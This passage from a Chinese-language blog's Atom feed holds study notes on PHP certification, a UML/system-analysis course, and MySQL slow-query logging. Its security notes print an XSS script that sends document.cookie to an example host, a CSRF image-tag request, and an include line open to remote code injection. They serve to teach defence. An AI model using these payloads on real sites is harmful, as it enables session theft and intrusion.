operands can be evaluated as True, but not both.&lt;br /&gt;Answer: xor &lt;br /&gt;用法$result = ($A xor $B);&lt;/li&gt;&lt;li&gt;19. Which of the following expressions multiply the value of the integer variable $a by 4?&lt;br /&gt;(Choose 2)&lt;br /&gt;$a *= pow (2, 2);&lt;br /&gt;$a &gt;&gt;= 2;&lt;br /&gt;$a &lt;&lt;= 2;$a += $a + $a;None of the aboveResult: A,C 嗯 是往左... 我怎麼會想成往右...&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Ch2.&lt;br /&gt;1,2,3,6,8,9,12,13,14,17,18&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-6030257746937092863?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/6030257746937092863/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=6030257746937092863' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6030257746937092863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6030257746937092863'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/11/zend-php-certification-practice-test.html' title='The Zend PHP Certification Practice Test Book'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-6643114355991066454</id><published>2010-11-07T10:53:00.003+08:00</published><updated>2010-11-13T00:14:12.479+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='UML'/><title type='text'>系統分析設計與實作 Week 1</title><content type='html'>如何分析系統(How)？從何分析，分析什麼？&lt;br /&gt;&lt;br /&gt;聚焦重點，系統為提供服務，而服務是從需求而來，所以分析需求即為重點&lt;br /&gt;ex. 咖啡廳的需求為何？&lt;br /&gt;咖啡廳提供服務有&lt;br /&gt;&lt;ul&gt;&lt;li&gt; 餐點&lt;/li&gt;&lt;li&gt;設備&lt;/li&gt;&lt;/ul&gt;組成咖啡廳的元素 (內部結構)&lt;br /&gt;&lt;br /&gt;問：咖啡機也是組成元素，為何沒列入？&lt;br /&gt;因為重點在Service，咖啡機有如framework(基礎建設),很重要，但不會自己做，將重點放在滿足需求，而不是自己再造輪子&lt;br /&gt;&lt;br /&gt;三大構面&lt;br /&gt;依使用者角度不同，分析出來的需求也不同&lt;br /&gt;&lt;br /&gt;PG Skill&lt;br /&gt;&lt;br /&gt;分析 (SA )&lt;br /&gt;著重功能、需求&lt;br /&gt;設計&lt;br /&gt;內部結構元素&lt;br /&gt;實作&lt;br /&gt;Infrastructure&lt;br /&gt;當三者有技術衝突時，靠Architect講合&lt;br /&gt;PM 人、客戶的溝通、時程的掌握&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Ch1. 軟體開發方法論(Methodology)&lt;/span&gt;&lt;br /&gt;&lt;b&gt;1.1.1 方法論的組成元素 - 溝通語言與開發流程(Process)&lt;/b&gt;&lt;br /&gt;軟體開發會有PM,Architect, SA/D, Programmer組成的團隊，在一定的時程內、運用有麥的資源，來達成有效率的系統開發。如果做有效率的專案控管，「溝通」與「開發製程」即為影影專案成敗的最重要關鍵 。&lt;br /&gt;&lt;ul&gt;&lt;li&gt;開發流程: Waterfall, RUP, XP, agile&lt;br /&gt;因project的性質、團隊素質不同，不可能適用每次的project&lt;/li&gt;&lt;li&gt;Notation: UML &lt;br /&gt;統一溝通的語言，讓PM,SA/D, Architect, Programmer有共同的語言&lt;/li&gt;&lt;/ul&gt;團隊開發成員之間可講相同的語言(UML)，以利相互的溝通；但每個團隊要如何達成目標，則各有方法與程序(Process)來達成任務。程序是"How-to"，每個團隊的"How-to"是不會完全一樣的。&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1.1.2 什麼是有效的開發流程&lt;/b&gt;&lt;br /&gt;軟體開發失敗原因，不外乎&lt;br /&gt;&lt;ul&gt;&lt;li&gt;溝通的障礙&lt;/li&gt;&lt;li&gt;無法處理需求的變更&lt;/li&gt;&lt;li&gt;脆弱的架構&lt;/li&gt;&lt;li&gt;難處理的複雜性(團隊合作造成的複雜 ex.維護別人的code)&lt;/li&gt;&lt;li&gt;不一致的需求、設計和實作 (分析文件太多，不易維護)&lt;/li&gt;&lt;li&gt;無法分析並克服風險 (讓風險儘早發現)&lt;/li&gt;&lt;li&gt;無法建立標準化的測試環境&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;最佳實務&lt;br /&gt;&lt;ul&gt;&lt;li&gt;以反覆式開發方式去開發軟體&lt;br /&gt;每個開發流程的目的都是期望在專案的四大變數：成本、品質、時程與規模達成一定的均衡&lt;br /&gt;但前三樣由客戶決定，能夠控制的只有「規模」，將規模分階段完成&lt;/li&gt;&lt;li&gt;需求的變動管理&lt;/li&gt;&lt;li&gt;以元件為基礎(Component-based)的架構&lt;/li&gt;&lt;li&gt;用視覺化方式製作軟體模型(Visually Model Software)&lt;/li&gt;&lt;li&gt;持續驗證軟體品質&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;1.1.3 軟體的變動無常&lt;/b&gt;&lt;br /&gt;軟體系統的專案開發，特別的是，需求往往不明確，更何況是經常處於變動中，所以導&lt;br /&gt;致專案的範圍與規模無法界定，連帶也引起時程無法估算。能做的只有將&lt;span style="color: #cc0000;"&gt;變動抑制&lt;/span&gt;或&lt;span style="color: #cc0000;"&gt;收斂&lt;/span&gt;在某一程度可被控管的範圍&lt;br /&gt;專案四大變數：成本、時程、品質與規模中，前兩樣都控制在客戶，能夠控制的只有「規模」=&amp;gt; 將規模分階段完成 ( I &amp;amp; I)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1.1.4 典型開發模式 - 瀑布式 (Waterfall)&lt;/b&gt;&lt;br /&gt;因軟體「變動無常」，所以想要「凍結」，再開發出系統，如同建築工程，但軟體開發與建構大樓的差異在於瀑布式兩個基本假設點&lt;br /&gt;&lt;ul&gt;&lt;li&gt;需求會固定不變&lt;br /&gt;&lt;ul&gt;&lt;li&gt;更多的使用者&lt;/li&gt;&lt;li&gt;IKIWIS效應(I'll Know It When I See It)&lt;br /&gt;只有到實作完成，有了畫面，使用者才能知道他是否為他要的&lt;/li&gt;&lt;li&gt;無法捕抓需求足夠的細節和精確度&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;紙上談兵 - 從設計圖就可以導出正確的實作 (Implementation)&lt;br /&gt;軟體工程的基礎理論很薄弱而且缺乏瞭解，探索的方法也非常糙。直到實作時，發現設計有嚴重瑕疵，造成系統崩潰。&lt;/li&gt;&lt;/ul&gt;管理階層易接受「瀑布式」，因為每個階段都有「明確」、「標準」的產出，方便「監督」與「追蹤」&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1.1.5 I&amp;amp;I(Iteration and Incremental)的開發模式&lt;/b&gt;&lt;br /&gt;Iteration就是將整個專案生命周期，分成好幾個迷你專案，每個專案有自己的開發循環，包括分析、設計、實作與測試。&lt;br /&gt;有多迷你？&lt;br /&gt;以「使用案例(Use Case)」或「功能點(Functioinal Point)」為功能單位，大約一星期，最晚不超過兩個星期。每個功能單位，依複雜度切為2~5個Iteration，從第一固Iteration對框奇目標的建立，然後逐漸加入細節，從低精確度往高精確度，到最終完成定案的產出。&lt;br /&gt;好處？開發時間會縮短？&lt;br /&gt;其實沒有，因為重點在&lt;span style="background-color: white; color: #cc0000;"&gt;提早揭露風險(Risk)，而儘早處理掉&lt;/span&gt;。開發人員可在一個Iteration看到具體成果，從中得到Feedback，隨時回頭修正，時間不會離得太遠，而不會等到整個系統完成了，使用者才說這不是我要的，或是架構要調整。&lt;br /&gt;優點：&lt;br /&gt;&lt;ul&gt;&lt;li&gt;提早降低風險&lt;/li&gt;&lt;li&gt;較早能具有可視性(Visible)的進展(Progress)。&lt;/li&gt;&lt;li&gt;較早能得到回饋，較可以得到使用者的保證(engagement)及適應性(adaptation)由此再精緻由此再精緻(refine)系統的設計，以更進一步契合使用者的需求。&lt;/li&gt;&lt;li&gt;增加團隊的信心，並且可以一直持續學習。&lt;/li&gt;&lt;li&gt;產品的整體品質較佳&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-6643114355991066454?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/6643114355991066454/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=6643114355991066454' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6643114355991066454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6643114355991066454'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/11/week-1.html' title='系統分析設計與實作 Week 1'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-303569702519937082</id><published>2010-11-07T10:35:00.004+08:00</published><updated>2010-12-03T21:18:47.847+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='UML'/><title type='text'>系統分析設計與實作課程大綱</title><content type='html'>&lt;b&gt;Iteration #1&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;課程階段目標：找捉系統功能需求，快速設計，立即產出程式碼 (&lt;span style="background-color: white; color: #6aa84f;"&gt;先求有&lt;/span&gt;)&lt;br /&gt;&lt;blockquote&gt;重點在做出來，著重抓需求 &lt;/blockquote&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://kevyu.blogspot.com/2010/11/week-1.html"&gt;軟體開發方法論 - 開發流程與塑模&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;開發模式介紹&lt;/li&gt;&lt;li&gt;專案開發的工作流程&lt;br /&gt;&lt;ul&gt;&lt;li&gt; 各角色人員的工作執掌&lt;/li&gt;&lt;li&gt; 各階段的產出(artifacts)介紹&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;軟體開發的最佳實務&lt;/li&gt;&lt;li&gt;軟體塑模 - UML介紹&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://kevyu.blogspot.com/2010/11/week-2-modeling-by-uml.html"&gt;需求面的功能分析設計 - Modeling by UML 三劍客&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;需求如何mapping到實作&lt;/blockquote&gt;&lt;/li&gt;&lt;li&gt;物件導向觀念養成與應用- 觀念、模型與程式碼的三面表達&lt;br /&gt;&lt;/li&gt;&lt;li&gt;實做面 by Spring Framework&lt;/li&gt;&lt;li&gt;案例分析與實作&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;b&gt;Iteration #2&lt;/b&gt;&lt;br /&gt;課程階段目標：重構程式碼與類別結構，讓系統更有彈性 (&lt;span style="color: #6aa84f;"&gt;不影響原功能下，改善系統&lt;/span&gt;)&lt;br /&gt;&lt;ol&gt;&lt;li&gt;軟體結構面的分析與設計&lt;/li&gt;&lt;li&gt;重構&lt;/li&gt;&lt;li&gt;案例分析與實作&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;b&gt;整體開發流程總複習&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;檢視兩個循環(Iteration)開發所各自產出的設計圖與程式碼&lt;/li&gt;&lt;li&gt;回顧每一個流程開發階段的產出與所運用的設計、技術與技能&lt;/li&gt;&lt;li&gt;學員課程中的問題提問與回答總整理&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-303569702519937082?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/303569702519937082/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=303569702519937082' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/303569702519937082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/303569702519937082'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/11/blog-post.html' title='系統分析設計與實作課程大綱'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-6198085641414823495</id><published>2010-10-31T11:59:00.001+08:00</published><updated>2011-09-18T11:59:54.290+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Zend PHP 5 Certification Study Guide 筆記 (五) Streams and Network Programming</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;table class="doctable table"&gt;&lt;caption&gt;&lt;b&gt;          A list of possible modes for &lt;span class="function"&gt;&lt;b&gt;fopen()&lt;/b&gt;&lt;/span&gt;          using &lt;i&gt;&lt;tt class="parameter"&gt;mode&lt;/tt&gt;&lt;/i&gt;         &lt;/b&gt;&lt;/caption&gt;                   &lt;thead valign="middle"&gt;&lt;tr valign="middle"&gt;            &lt;th style="background-color: #d9d2e9;"&gt;&lt;i&gt;&lt;tt class="parameter"&gt;mode&lt;/tt&gt;&lt;/i&gt;&lt;/th&gt;            &lt;th style="background-color: #d9d2e9;"&gt;Description&lt;/th&gt;           &lt;/tr&gt;&lt;/thead&gt;           &lt;tbody class="tbody" valign="middle"&gt;&lt;tr valign="middle"&gt;            &lt;td align="left"&gt;&lt;i&gt;'r'&lt;/i&gt;&lt;/td&gt;            &lt;td align="left"&gt;&lt;br /&gt;Open for reading only; place the file pointer at the&lt;br /&gt;beginning of the file.&lt;/td&gt;           &lt;/tr&gt;&lt;tr valign="middle"&gt;            &lt;td align="left"&gt;&lt;i&gt;'r+'&lt;/i&gt;&lt;/td&gt;            &lt;td align="left"&gt;&lt;br /&gt;Open for reading and writing; place the file pointer at&lt;br /&gt;the beginning of the file.&lt;/td&gt;           &lt;/tr&gt;&lt;tr valign="middle"&gt;            &lt;td align="left"&gt;&lt;i&gt;'w'&lt;/i&gt;&lt;/td&gt;            &lt;td align="left"&gt;&lt;br /&gt;Open for writing only; place the file pointer at the&lt;br /&gt;beginning of the file and truncate the file to zero length.&lt;br /&gt;If the file does not exist, attempt to create it.&lt;/td&gt;           &lt;/tr&gt;&lt;tr valign="middle"&gt;            &lt;td align="left"&gt;&lt;i&gt;'w+'&lt;/i&gt;&lt;/td&gt;            &lt;td align="left"&gt;&lt;br /&gt;Open for reading and writing; place the file pointer at&lt;br /&gt;the beginning of the file and truncate the file to zero&lt;br /&gt;length.  If the file does not exist, attempt to create it.&lt;/td&gt;           &lt;/tr&gt;&lt;tr valign="middle"&gt;            &lt;td align="left"&gt;&lt;i&gt;'a'&lt;/i&gt;&lt;/td&gt;            &lt;td align="left"&gt;&lt;br /&gt;Open for writing only; place the file pointer at the end of&lt;br /&gt;the file. If the file does not exist, attempt to create it.&lt;/td&gt;           &lt;/tr&gt;&lt;tr valign="middle"&gt;            &lt;td align="left"&gt;&lt;i&gt;'a+'&lt;/i&gt;&lt;/td&gt;            &lt;td align="left"&gt;&lt;br /&gt;Open for reading and writing; place the file pointer at&lt;br /&gt;the end of the file. If the file does not exist, attempt to&lt;br /&gt;create it.&lt;/td&gt;           &lt;/tr&gt;&lt;tr valign="middle"&gt;            &lt;td align="left"&gt;&lt;i&gt;'x'&lt;/i&gt;&lt;/td&gt;            &lt;td align="left"&gt;&lt;br /&gt;Create and open for writing only; place the file pointer at the&lt;br /&gt;beginning of the file.  If the file already exists, the&lt;br /&gt;&lt;span class="function"&gt;&lt;b&gt;fopen()&lt;/b&gt;&lt;/span&gt; call will fail by returning &lt;b&gt;&lt;tt&gt;FALSE&lt;/tt&gt;&lt;/b&gt; and&lt;br /&gt;generating an error of level &lt;b&gt;&lt;tt&gt;E_WARNING&lt;/tt&gt;&lt;/b&gt;.  If&lt;br /&gt;the file does not exist, attempt to create it.  This is equivalent&lt;br /&gt;to specifying &lt;i&gt;O_EXCL|O_CREAT&lt;/i&gt; flags for the&lt;br /&gt;underlying &lt;i&gt;open(2)&lt;/i&gt; system call. &lt;/td&gt;           &lt;/tr&gt;&lt;tr valign="middle"&gt;            &lt;td align="left"&gt;&lt;i&gt;'x+'&lt;/i&gt;&lt;/td&gt;            &lt;td align="left"&gt;&lt;br /&gt;Create and open for reading and writing; otherwise it has the&lt;br /&gt;same behavior as &lt;i&gt;'x'&lt;/i&gt;.&lt;/td&gt;           &lt;/tr&gt;&lt;tr valign="middle"&gt;            &lt;td align="left"&gt;&lt;i&gt;'c'&lt;/i&gt;&lt;/td&gt;            &lt;td align="left"&gt;&lt;br /&gt;Open the file for writing only. If the file does not exist, it is&lt;br /&gt;created. If it exists, it is neither truncated (as opposed to&lt;br /&gt;&lt;i&gt;'w'&lt;/i&gt;), nor the call to this function fails (as is&lt;br /&gt;the case with &lt;i&gt;'x'&lt;/i&gt;). The file pointer is&lt;br /&gt;positioned on the beginning of the file. This may be useful if it's&lt;br /&gt;desired to get an advisory lock (see &lt;span class="function"&gt;&lt;a class="function" href="http://www.blogger.com/function.flock.php"&gt;flock()&lt;/a&gt;&lt;/span&gt;)&lt;br /&gt;before attempting to modify the file, as using&lt;br /&gt;&lt;i&gt;'w'&lt;/i&gt; could truncate the file before the lock&lt;br /&gt;was obtained (if truncation is desired,&lt;br /&gt;&lt;span class="function"&gt;&lt;a class="function" href="http://www.blogger.com/function.ftruncate.php"&gt;ftruncate()&lt;/a&gt;&lt;/span&gt; can be used after the lock is&lt;br /&gt;requested).&lt;/td&gt;           &lt;/tr&gt;&lt;tr valign="middle"&gt;            &lt;td align="left"&gt;&lt;i&gt;'c+'&lt;/i&gt;&lt;/td&gt;            &lt;td align="left"&gt;&lt;br /&gt;Open the file for reading and writing; otherwise it has the same&lt;br /&gt;behavior as &lt;i&gt;'c'&lt;/i&gt;.&lt;/td&gt;           &lt;/tr&gt;&lt;/tbody&gt;                 &lt;/table&gt;&lt;br /&gt;如果檔案不存在，用w,w+,a, and a+會自動建立新檔&lt;br /&gt;如果檔案已存在，用x及x+會產生E_WARNING&lt;br /&gt;&lt;span style="color: red;"&gt;fgets&lt;/span&gt; reads a line -- i.e. it will stop at a newline.&lt;span style="color: red;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;fread &lt;/span&gt;reads raw data -- it will stop after a specified (or default) number of bytes, independantly of any newline that might or might not be present.&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;指標&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$file = fopen(’counter.txt’, ’r+’);&lt;br /&gt;fseek($file, 10, SEEK_SET);&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;SEEK_SET - Set position equal to offset bytes.&lt;/li&gt;&lt;li&gt;SEEK_CUR - Set position to current location plus offset.&lt;/li&gt;&lt;li&gt;SEEK_END - Set position to end-of-file plus offset.&lt;/li&gt;&lt;/ul&gt;範例&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$fp = fopen('somefile.txt', 'r');&lt;br /&gt;&lt;br /&gt;// read some data&lt;br /&gt;$data = fgets($fp, 4096);&lt;br /&gt;&lt;br /&gt;// move back to the beginning of the file&lt;br /&gt;// same as rewind($fp);&lt;br /&gt;fseek($fp, 0);&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;Simple File Functions &lt;ul&gt;&lt;li&gt;get data&lt;/br&gt;&lt;div class="code"&gt;&lt;pre class="brush: php"&gt;// Old Way&lt;br /&gt;$file = implode("\r\n", file("myfile.txt"));&lt;br /&gt;// New Way&lt;br /&gt;$file = file_get_contents("myfile.txt");&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;write data&lt;br/&gt;&lt;div class="code"&gt;&lt;pre class="brush: php"&gt;$data = "My Data";&lt;br /&gt;file_put_contents("myfile.txt", $data, FILE_APPEND);&lt;br /&gt;&lt;br /&gt;$data = array("More Data", "And More", "Even More");&lt;br /&gt;file_put_contents("myfile.txt", $data, FILE_APPEND);&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Controlling File Access&lt;br /&gt;&lt;ul&gt;&lt;li&gt;is_dir()—Checks if the path is a directory&lt;/li&gt;&lt;li&gt;is_executable()—Checks if the path is executable&lt;/li&gt;&lt;li&gt;is_file()—Checks if the path exists and is a regular file&amp;nbsp;&lt;/li&gt;&lt;li&gt;is_link()—Checks if the path exists and is a symlink&amp;nbsp;&lt;/li&gt;&lt;li&gt;is_readable()—Checks if the path exists and is readable&amp;nbsp;&lt;/li&gt;&lt;li&gt;is_writable()—Checks if the path exists and is writable&lt;/li&gt;&lt;li&gt;is_uploaded_file()—Checks if the path is an uploaded file (sent via HTTPPOST)&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-6198085641414823495?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/6198085641414823495/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=6198085641414823495' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6198085641414823495'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6198085641414823495'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/10/zend-php-5-certification-study-guide_31.html' title='Zend PHP 5 Certification Study Guide 筆記 (五) Streams and Network Programming'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-7557987180864411548</id><published>2010-10-28T09:36:00.000+08:00</published><updated>2011-09-03T22:36:56.050+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>log查詢速度時間過長的query (slow log)</title><content type='html'>想要知道哪些指令,Query資料會過慢的方法:&lt;br /&gt;自動記錄並log出這樣的資料可以在資料庫慢時幫助抓問題&lt;br /&gt;設定檔=/etc/my.cnf&lt;br /&gt;&lt;br /&gt;加入以下的資料到my.cnf內&lt;br /&gt;&lt;code&gt;log-slow-queries = /var/log/mysql/mysql-slow.log (記錄檔的位置可以自己改)&lt;br /&gt;long_query_time = 1  (超過設定的秒數就記錄1代表一秒2代表兩秒)&lt;br /&gt;log_long_format&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;注意寫入權限問題&lt;/b&gt;&lt;br /&gt;如果沒看到記錄檔可以自己先在這個目錄下建立個空白的檔案&lt;br /&gt;並設定可以寫入的權限,這樣才可以記錄到檔案&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;a href="http://www.link.idv.tw/MySQL_Data/log/Mysql_Query_Slow_log_How_To_01.html"&gt;mysql_自動log哪些Query速度慢時間過長的指令&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-7557987180864411548?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/7557987180864411548/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=7557987180864411548' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7557987180864411548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7557987180864411548'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/10/logquery.html' title='log查詢速度時間過長的query (slow log)'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-8293440024684597498</id><published>2010-10-27T22:44:00.017+08:00</published><updated>2011-09-18T11:24:25.553+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>Zend PHP 5 Certification Study Guide 筆記 (四) Security</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul&gt;&lt;li&gt;Concepts and Practices&lt;br /&gt;注意以下事件&lt;br /&gt;&lt;ul&gt;&lt;li&gt; All Input Is Tainted&lt;br /&gt;謹慎想像每個Input都被污染(Tainted)，所以都要檢查&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Whitelist vs. Blacklist Filtering&lt;/li&gt;&lt;li&gt; Filter Input&lt;/li&gt;&lt;li&gt; Escape Output&lt;/li&gt;&lt;li&gt; Register Globals&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Website Security&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Spoofed Forms&lt;/li&gt;&lt;li&gt; Cross-Site Scripting (XSS)在送出的input中，直接加入script，攻擊者即可透過$_GET['cookies']得到cookie的內容&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;&amp;lt;script&amp;gt;&lt;br /&gt;  document.location = ''http://example.org/getcookies.php?cookies=''&lt;br /&gt;  + document.cookie;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;/div/&gt;&lt;/li&gt;&lt;li&gt; Cross-Site Request Forgeries (CSRF)&lt;br /&gt;說明：在使用者登入的情況下，假造一個link夾帶get的指令(通常用img裡夾)，&lt;br /&gt;ex: &amp;lt;img src="http://example.org/checkout.php?isbn=031234&amp;amp;qty=1" &amp;gt;&lt;br /&gt;讓使用者點選進而執行get的指令(例如修改資料等)，因為是在使用者登入的情況下，所以指令會執行成功&lt;br /&gt;解決方法：get問題，雖可用post解決，但當server端利用$_REQUEST，則會遇到相同問題&lt;br /&gt;雖post仍算是減少傷害，但仍不能完全避免，要完全避免可利用random token&lt;br /&gt;在產生form時，在session記錄個token，另一方面在form埋個hidden存token&lt;br /&gt;如此一來即可比對&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?php&lt;br /&gt;&amp;nbsp; session_start();&lt;br /&gt;&amp;nbsp; $token = md5(uniqid(rand(), TRUE));&lt;br /&gt;&amp;nbsp; $_SESSION['token'] = $token;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;//產生form&lt;br /&gt;&amp;lt;form action="checkout.php" method="POST"&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;lt;input type="hidden" name="token" value="&amp;lt;?php echo&amp;nbsp; $token;?&amp;gt;" /?&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;lt;!-- Remainder of form --&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;br /&gt;//request&lt;br /&gt;if (isset($_SESSION['token'])&lt;br /&gt;  &amp;amp;&amp;amp; isset($_POST[』token』])&lt;br /&gt;  &amp;amp;&amp;amp; $_POST['token'] == $_SESSION['token'])&lt;br /&gt;{&lt;br /&gt;  // Token is valid, continue processing form data&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Database Security&lt;/li&gt;&lt;li&gt;Filesystem Security&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Remote Code Injection&lt;br /&gt;說明：當php裡利用以下方法include檔案時，攻擊者只要改變section值即可插入攻擊碼&lt;br /&gt;&lt;code&gt;include "{$_GET['section']}/data.inc.php";&lt;/code&gt;&lt;br 